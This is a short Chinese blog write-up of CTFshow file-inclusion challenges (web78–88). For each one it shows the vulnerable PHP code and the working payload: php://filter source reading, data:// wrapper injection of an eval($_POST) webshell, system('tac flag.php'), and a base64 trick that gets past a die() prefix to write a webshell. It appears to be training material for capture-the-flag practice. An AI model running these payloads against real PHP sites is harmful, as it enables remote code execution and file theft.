web入门 文件包含

120 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

web78

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

最简单的php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

再base64解码可得flag

web79

 <?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这个题把php替换成了???

这里用data协议,

?file=data://text/plain,<?=eval($_POST[1]);?>
1=phpinfo();

在这里插入图片描述 然后读取flag

1=system("tac flag.php");

web80

这个题php和data都被过滤了

web87

 <?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
} 

死亡die绕过

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);

在这里插入图片描述

web88

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

data伪协议,base64加密,然后把=删除,过滤了=和+,不能有+,=可以删除(不影响解码)

在这里插入图片描述